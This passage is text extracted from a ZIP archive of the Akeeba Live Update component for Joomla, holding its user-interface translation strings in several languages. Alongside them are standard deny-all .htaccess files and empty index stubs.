Please provide the FTP username and password below to proceed with the update." LIVEUPDATE_HASUPDATES_HEAD="A new version is available" LIVEUPDATE_ICON_CRASHED="Live Update crashed" LIVEUPDATE_ICON_CURRENT="You have the latest version" LIVEUPDATE_ICON_UNSUPPORTED="Live Update not supported" LIVEUPDATE_ICON_UPDATES="UPDATE FOUND! CLICK TO UPDATE." LIVEUPDATE_INSTALLEXT="Install %s %s" LIVEUPDATE_INVALID_PACKAGE_TYPE="Invalid package type. The update can not proceed." LIVEUPDATE_LATESTRELEASED="Latest release date" LIVEUPDATE_LATESTVERSION="Latest version" LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="You can always update %s by visiting our site manually, downloading the latest release and installing it using Joomla!'s extension installer." LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update is not supported on this server" LIVEUPDATE_NOTSUPPORTED_INFO="Your server indicates that Live Update is not supported. Please contact your host and ask them to enable the cURL PHP extension or activate the URL fopen() wrappers. If these are already enabled, please ask them to configure their firewall so that it allows access to the following URL:"; LIVEUPDATE_NOUPDATES_HEAD="You already have the latest version" LIVEUPDATE_REFRESH_INFO="Refresh update information" LIVEUPDATE_REMEMBER_TO_UPDATE_AIO="Remember to update also your plugins and modules, for which you may use the live updater in the VirtueMart-AIO installer." LIVEUPDATE_STABILITY_ALPHA="Alpha" LIVEUPDATE_STABILITY_BETA="Beta" LIVEUPDATE_STABILITY_RC="RC" LIVEUPDATE_STABILITY_STABLE="Stable" LIVEUPDATE_STABILITY_SVN="SVN" LIVEUPDATE_STUCK_HEAD="Live Update has marked itself as crashed" LIVEUPDATE_STUCK_INFO="Live Update determined that it crashed the last time it tried to contact the update server. This usually indicates a host which actively blocks communications with external sites. If you would like to retry fetching the update information, please click the "Refresh update information" button below. If that results to a blank page, please contact your host and report this issue." LIVEUPDATE_SUCCESS="Success" LIVEUPDATE_TASK_OVERVIEW="Live Update"PKB\$liveupdate/language/en-GB/index.htmlnuW+APKB\)#liveupdate/language/en-GB/.htaccessnuW+A Order allow,deny Deny from all PKB\)#liveupdate/language/fr-FR/.htaccessnuW+A Order allow,deny Deny from all PKB\?"".liveupdate/language/fr-FR/fr-FR.liveupdate.ininuW+A; Package Akeeba Backup ; Version fr-FR.liveupdate.ini 2011-07-23 by Sarki ; Copyright (c)2006-2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU GPLv3 or later ; Note : All ini files need to be saved as UTF-8 LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update n'est pas pris en charge sur ce serveur" LIVEUPDATE_NOTSUPPORTED_INFO="Votre serveur indique que Live Update n'est pas supporté. Veuillez contactez votre hébergeur et leur demander d'activer l'extension PHP cURL ou activer la fonction fopen URL () . Si ceux-ci sont déjà activés, veuillez leur demander de configurer leur pare-feu afin qu'il autorise l'accès à l'URL suivante:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Vous pouvez toujours mettre à jour %s en visitant notre site manuellement, télécharger la dernière version et l'installer en utilisant l'extension d'installation de Joomla!" LIVEUPDATE_STUCK_HEAD="Live Update a échoué !" LIVEUPDATE_STUCK_INFO="Live Update a échoué la dernière fois qu'il a essayé de contacter le serveur de mise à jour. Cela signifie généralement que votre hébergeur bloque activement les communications avec des sites externes. Si vous souhaitez réessayer de récupérer les informations de mise à jour, cliquez sur le bouton " Rafraichir les informations de mise à jour ". S'il en résulte une page blanche, veuillez contactez votre hébergeur et lui signaler ce problème." LIVEUPDATE_ERROR_NEEDSAUTH="Pour activer le bouton de mise à jour, vous devez fournir votre nom d'utilisateur/mot de passe ( ou votre ID de Téléchargement ) dans les paramètres du composant pour pouvoir mettre à jour vers la dernière version." LIVEUPDATE_HASUPDATES_HEAD="Une nouvelle version est disponible" LIVEUPDATE_NOUPDATES_HEAD="Vous avez la dernière version" LIVEUPDATE_CURRENTVERSION="Version installée" LIVEUPDATE_LATESTVERSION="Dernière version" LIVEUPDATE_LATESTRELEASED="Date de la dernière version " LIVEUPDATE_DOWNLOADURL="URL de téléchargement directe" LIVEUPDATE_REFRESH_INFO="Rafraichir les informations de mise à jour" LIVEUPDATE_DO_UPDATE="Mettre à jour vers la dernière version" LIVEUPDATE_FTP_REQUIRED="Live Update a besoin d'utiliser la couche FTP pour télécharger et installer la mise à jour, mais vous n'avez pas sauvegardé vos informations de connexion FTP dans la Configuration globale de Joomla!

Veuillez fournir ci-dessous votre nom d'utilisateur et votre mot de passe FTP afin de procéder à la mise à jour." LIVEUPDATE_FTP="Informations FTP" LIVEUPDATE_FTPUSERNAME="Nom d'utilisateur FTP" LIVEUPDATE_FTPPASSWORD="Mot de passe FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Télécharger et installez la mise à jour" LIVEUPDATE_DOWNLOAD_FAILED="Le téléchargement du package de mise à jour a échoué. Assurez-vous que votre répertoire temporaire (tmp) est accessible en écriture et que vous avez activé les options FTP dans la configuration globale de Joomla!." LIVEUPDATE_EXTRACT_FAILED="L'extraction du package de mise à jour a échoué. Veuillez mettre à jour l'extension manuellement." LIVEUPDATE_INVALID_PACKAGE_TYPE="Le type du package n'est pas valide. La mise à jour ne peut pas continuer." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Erreur" LIVEUPDATE_SUCCESS="Réussite" LIVEUPDATE_ICON_UNSUPPORTED="Live Update n'est pas pris en charge" LIVEUPDATE_ICON_CRASHED="Live Update a échoué!" LIVEUPDATE_ICON_CURRENT="Vous avez la dernière version" LIVEUPDATE_ICON_UPDATES="MISE À JOUR ! Cliquez pour l'appliquer..."PKB\$liveupdate/language/fr-FR/index.htmlnuW+APKB\liveupdate/language/index.htmlnuW+APKB\)#liveupdate/language/pl-PL/.htaccessnuW+A Order allow,deny Deny from all PKB\@2R .liveupdate/language/pl-PL/pl-PL.liveupdate.ininuW+A; $Id: pl-PL.liveupdate.ini 632 2011-05-22 20:44:46Z nikosdion $ ; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Translated by: Marek Kolka - 'zorro' - http://www.zorro.cal24.pl LIVEUPDATE_TASK_OVERVIEW="Aktualizacja" LIVEUPDATE_NOTSUPPORTED_HEAD="Aktualizacja nie jest obsługiwana na tym serwerze" LIVEUPDATE_NOTSUPPORTED_INFO="Twój serwer sygnalizuje, że Aktualizacja nie jest obsługiwana. Proszę skontaktować się administratorem hosta i poprosić o włączenie rozszerzenia cURL PHP albo aktywowanie URL fopen() wrappers. Jeżeli te są już włączone, poproś o skonfigurowanie firewalla tak, by umożliwił dostęp do następującego adresu URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Zawsze można zaktualizować %s odwiedzając naszeą witrynę ręcznie, pobranie najnowszej wersji i instalacji za pomocą instalatora rozszerzeń Joomla!." LIVEUPDATE_STUCK_HEAD="Aktualizacja oznaczona jako niepowodzenie" LIVEUPDATE_STUCK_INFO="Aktualizacja zaznacza o niepowodzeniu podczas ostatniej próby kontaktu z serwerem aktualizacji. To zwykle wskazuje na hosta, który aktywnie blokuje komunikacje z zewnętrznymi stronami. Jeśli chcesz ponowić próbę pobierania informacje o aktualizacji, kliknij przycisk "Odśwież informacje o aktualizacji" poniżej. Jeśli wynikiem jest pusta strona, proszę skontaktować się z administracją hosta i zgłosić ten problem." LIVEUPDATE_ERROR_NEEDSAUTH="Musisz podać swój login/hasło lub Download ID w parametrach komponentu przed próbą aktualizacji do najnowszej wersji. Przycisk aktualizacji pozostanie wyłączony do czasu aż to zrobisz." LIVEUPDATE_HASUPDATES_HEAD="Nowa wersja jest dostępna" LIVEUPDATE_NOUPDATES_HEAD="Masz już najnowszą wersję" LIVEUPDATE_CURRENTVERSION="Zainstalowana wersja" LIVEUPDATE_LATESTVERSION="Najnowsza wersja" LIVEUPDATE_LATESTRELEASED="Data najnowszej wersji" LIVEUPDATE_DOWNLOADURL="URL bezpośredniego pobierania" LIVEUPDATE_REFRESH_INFO="Odśwież informacje o aktualizacji" LIVEUPDATE_DO_UPDATE="Aktualizacja do najnowszej wersji" LIVEUPDATE_FTP_REQUIRED="Aktualizacja zaznacza, że musi korzystać z protokołu FTP w celu pobrania i zainstalowania aktualizacji, ale nie zostały wcześniej zapisane dane logowania FTP w twojej Konfiguracji Globalnej Joomla!.

Prosimy o podanie nazwy użytkownika i hasła FTP poniżej, aby kontynuować aktualizację." LIVEUPDATE_FTP="Informacje FTP" LIVEUPDATE_FTPUSERNAME="Login FTP" LIVEUPDATE_FTPPASSWORD="Hasło FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Pobierz i zainstaluj aktualizację" LIVEUPDATE_DOWNLOAD_FAILED="Pobranie pakietu aktualizacji nie powiodło się. Upewnij się, że katalog tymczasowy jest zapisywalny lub, że masz włączoną opcję FTP Joomla! w Konfiguracji Globalnej twojej witryny." LIVEUPDATE_EXTRACT_FAILED="Rozpakowanie pakietu aktualizacji nie powiodło się. Proszę spróbować aktualizacji rozszerzenia ręcznie." LIVEUPDATE_INVALID_PACKAGE_TYPE="Nieprawidłowy typ pakietu. Aktualizacja nie może być kontynuowana." LIVEUPDATE_INSTALLEXT="Instalacja %s %s" LIVEUPDATE_ERROR="Błąd" LIVEUPDATE_SUCCESS="Powodzenie" LIVEUPDATE_ICON_UNSUPPORTED="Aktualizacja nie jest obsługiwana" LIVEUPDATE_ICON_CRASHED="Aktualizacja nie powiodła się" LIVEUPDATE_ICON_CURRENT="Masz najnowszą wersję" LIVEUPDATE_ICON_UPDATES="ZNALEZIONO AKTUALIZACJĘ! Kliknij!."PKB\$liveupdate/language/pl-PL/index.htmlnuW+APKB\.liveupdate/language/el-GR/el-GR.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Απευθείας Ενημέρωση" LIVEUPDATE_NOTSUPPORTED_HEAD="Η Απευθείας Ενημέρωση δεν υποστηρίζεται από αυτόν τον διακομιστή" LIVEUPDATE_NOTSUPPORTED_INFO="Ο διακομιστής σας δείχνει ότι η Απευθείας Ενημέρωση δεν υποστηρίζεται. Παρακαλώ επικοινωνήστε με τον πάροχο φιλοξενίας σας και ζητήστε του να ενεργοποιήσει την επέκταση cURL της PHP ή τους URL fopen() wrappers. Εάν είναι ήδη ενεργοποιημένα, παρακαλώ ζητήστε του να ανοίξει το τείχος ασφαλείας ώστε να επιτρέπει την πρόσβαση στην παρακάτω διεύθυνση URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Μπορείτε πάντα να ενημερώστε το λογισμικό %s επισκεπτόμενοι τον ιστότοπό μας, κατεβάζοντας την τελευταία έκδοση και εγκαθιστόντας την με την εγκατάσταση εφαρμογών του Joomla!." LIVEUPDATE_STUCK_HEAD="Η Απευθείας Ενημέρωση ανίχνευσε αποτυχία λειτουργίας" LIVEUPDATE_STUCK_INFO="Η Απευθείας Ενημέρωση εντόπισε ότι η τελευταία απόπειρα επικοινωνίας με τον διακομιστή ενημερώσεων κατέληξε σε κόλλημα. Αυτό συνήθως υποδυκνείει έναν πάροχο φιλοξενίας που μπλοκάρει ενεργά τις προσπάθειες επικοινωνίας με εξωετρικούς ιστοχώρους. Εάν θα θέλατε να δοκιμάσετε να ξαναπροσπαθήσουμε να λάβουμε τις πληροφορίες ενημέρωσεις, παρακαλώ κάντε κλικ στο κουμπί "Ανανέωση πληροφοριών ενημερώσεων" πιο κάτω. Εάν αυτό οδηγήσει σε λευκή σελίδα, παρακαλώ επικοινωνήστε με τον πάροχο φιλοξενίας και αναφέρετε αυτό το πρόβλημα." LIVEUPDATE_ERROR_NEEDSAUTH="Πρέπει να εισάγετε το όνομα χρήστη και συνθηματικό ή το Αναγνωριστικό Μεταφόρτωσης στις παραμέτρους της εφαρμογής πριν προσπαθήσετε να αναβαθμίσετε στην τελευταία έκδοση. Το κουμπί ενημέρωσης θα παραμείνει ανενεργό έως ότου το κάνετε." LIVEUPDATE_HASUPDATES_HEAD="Μια νέα έκδοση είναι διαθέσιμη" LIVEUPDATE_NOUPDATES_HEAD="Έχετε ήδη την τελευταία έκδοση" LIVEUPDATE_CURRENTVERSION="Εγκατεστημένη έκδοση" LIVEUPDATE_LATESTVERSION="Τελευταία έκδοση" LIVEUPDATE_LATESTRELEASED="Ημερομηνία έκδοσης" LIVEUPDATE_DOWNLOADURL="Διεύθυνση απευθείας μεταφόρτωσης" LIVEUPDATE_REFRESH_INFO="Ανανέωση πληροφοριών ενημεερώσεων" LIVEUPDATE_DO_UPDATE="Ενημέρωση στην τελευταία έκδοση" LIVEUPDATE_FTP_REQUIRED="Η Απευθείας Ενημέρωση εντόπισε ότι απαιτείται η χρήση FTP για να μεταφορτώσει και να εγκαταστήσει την ενημέρωσή σας, αλλά δεν έχετε σώσει τις πληροφορίες εισόδου στο FTP στις Γενικές Ρυθμίσεις του Joomla!.

Παρακαλώ εισάγετε το όνομα χρήστη και το συνθηματικό για το FTP προκειμένου να προχωρήσετε με την ενημέρωση." LIVEUPDATE_FTP="Πληροφορίες FTP" LIVEUPDATE_FTPUSERNAME="Όνομα Χρήστη FTP" LIVEUPDATE_FTPPASSWORD="Συνθηματικό FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Μεταφόρτωση και εγκατάσταση ενημέρωσης" LIVEUPDATE_DOWNLOAD_FAILED="Η μεταφόρτωση του πακέτου ενημέρωσης απέτυχε. Παρακαλώ βεβαιωθείτε ότι ο κάταλογος προσωρινής αποθήκευσης είναι εγγράψιμος ή ότι έχετε ενεργοποιήσει τις επιλογές FTP στις Γενικές Ρυθμίσεις του ιστοχώρου σας." LIVEUPDATE_EXTRACT_FAILED="Η αποσυμπίεση του πακέτου αναβάθμισης απέτυχε. Παρακαλώ δοκιμάστε να εγκαταστήσετε την επέκταση χειροκίνητα." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ο τύπος του πακέτου δεν είναι έγκυρος. Η αναβάθμιση δεν μπορεί να συνεχίσει." LIVEUPDATE_INSTALLEXT="Εγκατάσταση %s %s" LIVEUPDATE_ERROR="Σφάλμα" LIVEUPDATE_SUCCESS="Επιτυχία" LIVEUPDATE_ICON_UNSUPPORTED="Η Απευθείας Ενημέρωση δεν υποστηρίζεται" LIVEUPDATE_ICON_CRASHED="Η Απευθείας Ενημέρωση κόλλησε" LIVEUPDATE_ICON_CURRENT="Έχετε την τελευταία έκδοση" LIVEUPDATE_ICON_UPDATES="ΒΡΕΘΗΚΕ ΕΝΗΜΕΡΩΣΗ! ΚΑΝΤΕ ΚΛΙΚ ΓΙΑ ΑΝΑΒΑΘΜΙΣΗ."PKB\)#liveupdate/language/el-GR/.htaccessnuW+A Order allow,deny Deny from all PKB\$liveupdate/language/el-GR/index.htmlnuW+APKB\$liveupdate/language/da-DK/index.htmlnuW+APKB\)#liveupdate/language/da-DK/.htaccessnuW+A Order allow,deny Deny from all PKB\kN .liveupdate/language/da-DK/da-DK.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Opdatering" LIVEUPDATE_NOTSUPPORTED_HEAD="Live opdatering understøttes ikke af denne server" LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at Live opdatering ikke er understøttet. Kontakt venligst din udbyder og spørg dem om at aktivere cURL PHP udvidelsen eller aktivere URL fopen() wrappers. Hvis disse allerede er aktive, så spørg dem venligst om at konfigurere deres firewall, således at den tillader adgang til følgende :"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan altid opdatere %s ved at besøge vores side manuelt og hente den seneste udgivelse og derefter installere den ved at bruge Joomla!'s udvidelsesinstaller." LIVEUPDATE_STUCK_HEAD="Live opdatering melder at den gik ned" LIVEUPDATE_STUCK_INFO="Live opdatering opdagede at den gik ned sidste gang den prøvede at kontakte opdateringsserveren. Dette indikerer nomalt en udbyder der aktivt blokerer kommunikation med eksterne sider. Hvis du vil forsøge at hente opdateringsinformationen igen, klik da venligst på "Opdater opdateringsinformation" herunder. Hvis det resulterer i en blank side, så kontakt venligst din udbyder og rapporter dette problem." LIVEUPDATE_ERROR_NEEDSAUTH="Du skal angive dit brugernavn/adgangskode eller Download ID i komponentens indstillinger, før du kan opdatere til den seneste version. Opdateringsknappen vil forblive inaktiv indtil da." LIVEUPDATE_HASUPDATES_HEAD="En ny version er tilgængelig" LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den seneste version" LIVEUPDATE_CURRENTVERSION="Installeret version" LIVEUPDATE_LATESTVERSION="Seneste version" LIVEUPDATE_LATESTRELEASED="Seneste udgivelsesdato" LIVEUPDATE_DOWNLOADURL="Direkte download link" LIVEUPDATE_REFRESH_INFO="Opdater opdateringsinformation" LIVEUPDATE_DO_UPDATE="Opdater til seneste version" LIVEUPDATE_FTP_REQUIRED="Live opdatering har opdaget at den skal bruge FTP for at kunne hente og installere din opdatering, men da du har ikke gemt FTP logind information i din Joomla! globale konfiguration.

Angiv venligst FTP brugernavn og adgangskode herunder for at fortsætte med opdateringen." LIVEUPDATE_FTP="FTP information" LIVEUPDATE_FTPUSERNAME="FTP Brugernavn" LIVEUPDATE_FTPPASSWORD="FTP Adgangskode" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Hent og installer opdatering" LIVEUPDATE_DOWNLOAD_FAILED="Hentning af opdateringspakken fejlede. Vær venligst sikker på at din temp mappe er skrivbar og at du har aktiveret Joomla!'s FTP mulighed i Joomla!'s globale konfiguration." LIVEUPDATE_EXTRACT_FAILED="Udpakning af opdateringspakken fejlede. Opdater venligst udvidelsen manuelt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakketype. Opdateringen kan ikke fortsætte." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Fejl" LIVEUPDATE_SUCCESS="Korrekt" LIVEUPDATE_ICON_UNSUPPORTED="Live opdatering er ikke understøttet" LIVEUPDATE_ICON_CRASHED="Live opdatering gik ned" LIVEUPDATE_ICON_CURRENT="Du har den seneste version" LIVEUPDATE_ICON_UPDATES="OPDATERING FUNDET! OPDATER NU."PKB\mfL L .liveupdate/language/nb-NO/nb-NO.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live oppdatering" LIVEUPDATE_NOTSUPPORTED_HEAD="Live oppdatering støttes ikke på denne serveren" LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at Live oppdatering ikke støttes. Vennligst kontakt din leverandør og be dem aktivere cURL PHP eller aktivere URL fopen() wrappers. Dersom disse allerede er aktivert, kan du be dem om å konfigurere sin brannmur slik at den gir tilgang til følgende URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid oppdatere manuelt%s ved å besøke vår side, laste ned den nyeste versjonen, og installere det ved hjelp av Joomla installasjonsprogrammet." LIVEUPDATE_STUCK_HEAD="Live oppdatering har markert seg selv som krasjet" LIVEUPDATE_STUCK_INFO="Live oppdatering krasjet forrige gang den prøvde å kontakte oppdateringsserveren. Dette betyr vanligvis en leverandør som aktivt blokkerer kommunikasjon med eksterne nettsteder. Hvis du ønsker å prøve å hente oppdateringsinformasjonen, klikk på knappen "Oppdater oppdateringsinformasjonen" under. Hvis dette resulterer i en blank side, kontakte din leverandør og rapportere dette problemet." LIVEUPDATE_ERROR_NEEDSAUTH="Du må oppgi brukernavn/passord eller nedlastnings ID til komponentens parametre før du forsøker å oppgradere til siste versjon. Oppgraderingsknappen vil forbli deaktivert til du gjøre det." LIVEUPDATE_HASUPDATES_HEAD="En ny versjon er tilgjengelig" LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den nyeste versjonen" LIVEUPDATE_CURRENTVERSION="Installert versjon" LIVEUPDATE_LATESTVERSION="Nyeste versjon" LIVEUPDATE_LATESTRELEASED="Siste utgivelsesdato" LIVEUPDATE_DOWNLOADURL="Nedlastingsadresse" LIVEUPDATE_REFRESH_INFO="Oppdater oppdateringsinformasjonen" LIVEUPDATE_DO_UPDATE="Oppdatering til siste versjon" LIVEUPDATE_FTP_REQUIRED="Live oppdatering har behov for å bruke FTP for å laste ned og installere oppdateringen, men du har ikke lagret FTP påloggingsinformasjonen i Joomla! Global konfigurasjon .

Vennligst oppgi FTP brukernavn og passord nedenfor for å fortsette med oppdateringen." LIVEUPDATE_FTP="Informasjon" LIVEUPDATE_FTPUSERNAME="FTP brukernavn" LIVEUPDATE_FTPPASSWORD="FTP Passord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Last ned og installer oppdateringen" LIVEUPDATE_DOWNLOAD_FAILED="Nedlasting av oppdateringen mislyktes. Pass på at temp-mappen er skrivbar, eller at du har aktivert Joomla! 's FTP alternativer i Global konfigurasjon." LIVEUPDATE_EXTRACT_FAILED="Utpakking av oppdateringspakken mislyktes. Prøv å oppdatere utvidelsen manuelt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakke type. Oppdateringen kan ikke fortsette." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Feil" LIVEUPDATE_SUCCESS="Vellykket" LIVEUPDATE_ICON_UNSUPPORTED="Live oppdatering støttes ikke" LIVEUPDATE_ICON_CRASHED="Live oppdatering krasjet" LIVEUPDATE_ICON_CURRENT="Du har den nyeste versjonen" LIVEUPDATE_ICON_UPDATES="OPPDATERING FUNNET! KLIKK FOR Å OPPDATERE."PKB\El$liveupdate/language/nb-NO/index.htmlnuW+A PKB\)#liveupdate/language/nb-NO/.htaccessnuW+A Order allow,deny Deny from all PKB\)#liveupdate/language/de-DE/.htaccessnuW+A Order allow,deny Deny from all PKB\$liveupdate/language/de-DE/index.htmlnuW+APKB\iJJ.liveupdate/language/de-DE/de-DE.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_CONSIDER_COMPATIBILITY="Bevor Sie Ihr Live-System aktualisieren, testen Sie das Update bitte auf einem Backup-System, um den Verlust von Daten zu vermeiden. Rechnen Sie mit kleinen Inkompatibilitäten, falls Sie Erweiterungen von Fremdanbietern oder eigene Anpassungen (Plugins, Module, Templates) verwenden." LIVEUPDATE_CURRENTVERSION="Installierte Version" LIVEUPDATE_DOWNLOADURL="Direkte Download-URL" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Aktualisierung herunterladen und installieren" LIVEUPDATE_DOWNLOAD_FAILED="Das Herunterladen des Aktualisierungspakets ist fehlgeschlagen. Bitte stellen Sie sicher, dass Ihr temp-Verzeichnis Schreibrechte besitzt und Sie Ihre FTP-Nutzerdaten in der Joomla!-Konfiguration angegeben haben." LIVEUPDATE_DO_UPDATE="Auf die neueste Version aktualisieren" LIVEUPDATE_ERROR="Fehler" LIVEUPDATE_ERROR_NEEDSAUTH="Bevor Sie eine Echtzeitaktualisierung durchführen können, müssen Sie Ihren Benutzernamen, das Passwort bzw. die Download-ID angeben. Der Aktualisierungsknopf wird solange ohne Funktion bleiben." LIVEUPDATE_EXTRACT_FAILED="Das Auspacken des Aktualisierungspakets ist fehlgeschlagen. Bitte aktualisieren Sie die Erweiterung manuell." LIVEUPDATE_FTP="FTP Informationen" LIVEUPDATE_FTPPASSWORD="FTP Passwort" LIVEUPDATE_FTPUSERNAME="FTP Benutzername" LIVEUPDATE_FTP_REQUIRED="Die Echtzeitaktualisierung hat festgestellt, dass FTP für die Aktualisierung und Installation verwednet werden muss. Sie haben aber noch keine FTP-Daten in der Joomla!-Konfiguraton angegeben.

BItte geben Sie Ihre FTP-Daten ein, bevor Sie mit der Aktualisierung fortfahren." LIVEUPDATE_HASUPDATES_HEAD="Es gibt eine neue Version" LIVEUPDATE_ICON_CRASHED="Live Update abgestürzt" LIVEUPDATE_ICON_CURRENT="Sie haben die aktuelle Version" LIVEUPDATE_ICON_UNSUPPORTED="Echtzeitaktualisierung nicht unterstützt" LIVEUPDATE_ICON_UPDATES="AKTUALISIERUNG GEFUNDEN! JETZT AKTUALISIEREN." LIVEUPDATE_INSTALLEXT="Installiere %s %s" LIVEUPDATE_INVALID_PACKAGE_TYPE="Falscher Aktualisierungspakettyp. Die Aktualisierung kann nicht durchgeführt werden." LIVEUPDATE_LATESTRELEASED="Neuestes Veröffentlichungsdatum" LIVEUPDATE_LATESTVERSION="Neueste Version" LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Sie können immer aktualisieren %s indem Sie unsere Internetseite besuchen, die neueste Version herunterladen und ganz normal installieren." LIVEUPDATE_NOTSUPPORTED_HEAD="Die Echtzeitaktualisierung wird auf diesem Server nicht unterstützt" LIVEUPDATE_NOTSUPPORTED_INFO="Ihr Server zeigt an, dass die Echtzeitaktualisierung nicht unterstützt wird. Bitte kontaktieren Sie Ihren Anbieter und bitten ihn, die cURL-PHP-Erweiterung zu aktivieren oder die URL fopen() Wrapper. Sollten diese schon aktviert sein, bitten Sie ihn, die Firewall so zu konfigurieren, dass sie den Zugriff auf folgende URL zulässt:"; LIVEUPDATE_NOUPDATES_HEAD="Sie haben die aktuelle Version" LIVEUPDATE_REFRESH_INFO="Aktualisierungsinformationen abrufen" LIVEUPDATE_REMEMBER_TO_UPDATE_AIO="Denken Sie daran, auch Ihre Plugins und Module zu aktualisieren, wofür Sie den Live-Updater im VirtueMart-AIO Installationsprogramm benutzen können." LIVEUPDATE_STABILITY_ALPHA="Alpha" LIVEUPDATE_STABILITY_BETA="Beta" LIVEUPDATE_STABILITY_RC="Freigabekandidat" LIVEUPDATE_STABILITY_STABLE="Stabile Version" LIVEUPDATE_STABILITY_SVN="SVN" LIVEUPDATE_STUCK_HEAD="Die Echtzeitaktualisierung hat sich selbst als abgestürzt gemeldet" LIVEUPDATE_STUCK_INFO="Die Echtzeitaktualisierung hat festgestellt, dass sie beim letzten Versuch den Aktualisierungsserver zu erreichen abgestürzt ist. Dies deutet meist auf einen Anbieter hin, der die Kommunikation mit externen Servern blockiert. Sollten Sie die Aktulalisierungsinformationen nochmals abrufen wollen, klicken Sie bitte auf den Knopf "Aktualisierungsinformationen abrufen". Sollte dieser Versuch auf einer weißen Seite enden, melden Sie diesen Fehler ihrem Anbieter." LIVEUPDATE_SUCCESS="Erfolg" LIVEUPDATE_TASK_OVERVIEW="Echtzeitaktualisierung"PKB\> 55.liveupdate/language/th-TH/th-TH.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="เซิฟเวอร์นี่ไม่รองรับ Live Update" LIVEUPDATE_NOTSUPPORTED_INFO="Your server indicates that Live Update is not supported. กรุณาติดต่อผู้ให้บริการโฮสและบอกให้เปิดใช้ cURL PHP extension หรือ activate the URL fopen() wrappers. If these are already enabled, please ask them to configure their firewall so that it allows access to the following URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="คุณยังสามารถทำการปรับปรุง %s โดยการเข้าไปยังเว็บไซต์ด้วยตนเอง แล้วทำการดาวน์โหลดเวอร์ชั่นล่าสุด มาติดตั้งใหม่ ผ่านทาง การติดตั้งส่วนขยาย ในจูมล่า" LIVEUPDATE_STUCK_HEAD="Live Update has marked itself as crashed" LIVEUPDATE_STUCK_INFO="Live Update determined that it crashed the last time it tried to contact the update server. This usually indicates a host which actively blocks communications with external sites. If you would like to retry fetching the update information, please click the "Refresh update information" button below. If that results to a blank page, please contact your host and report this issue." LIVEUPDATE_ERROR_NEEDSAUTH="You have to supply your username/password or Download ID to the component's parameters before trying to upgrade to the latest release. The upgrade button will remain disabled until you do that." LIVEUPDATE_HASUPDATES_HEAD="มีเวอร์ชั่นใหม่กว่าแล้ว" LIVEUPDATE_NOUPDATES_HEAD="คุณใช้เวอร์ชั่นล่าสุดอยู่แล้ว " LIVEUPDATE_CURRENTVERSION="เวอร์ชั่นที่ติดตั้ง" LIVEUPDATE_LATESTVERSION="เวอร์ชั่น ล่าสุด" LIVEUPDATE_LATESTRELEASED="วันที่ รีรีสล่าสุด" LIVEUPDATE_DOWNLOADURL="Direct download URL" LIVEUPDATE_REFRESH_INFO="รีเฟรช เพื่อปรับปรุงข้อมูล" LIVEUPDATE_DO_UPDATE="ปรับปรุงเป็นเวอร์ชั่นล่าสุด" LIVEUPDATE_FTP_REQUIRED="Live Update determined that it needs to use FTP in order to download and install your update, but you have not saved your FTP login information in your Joomla! Global Configuration.

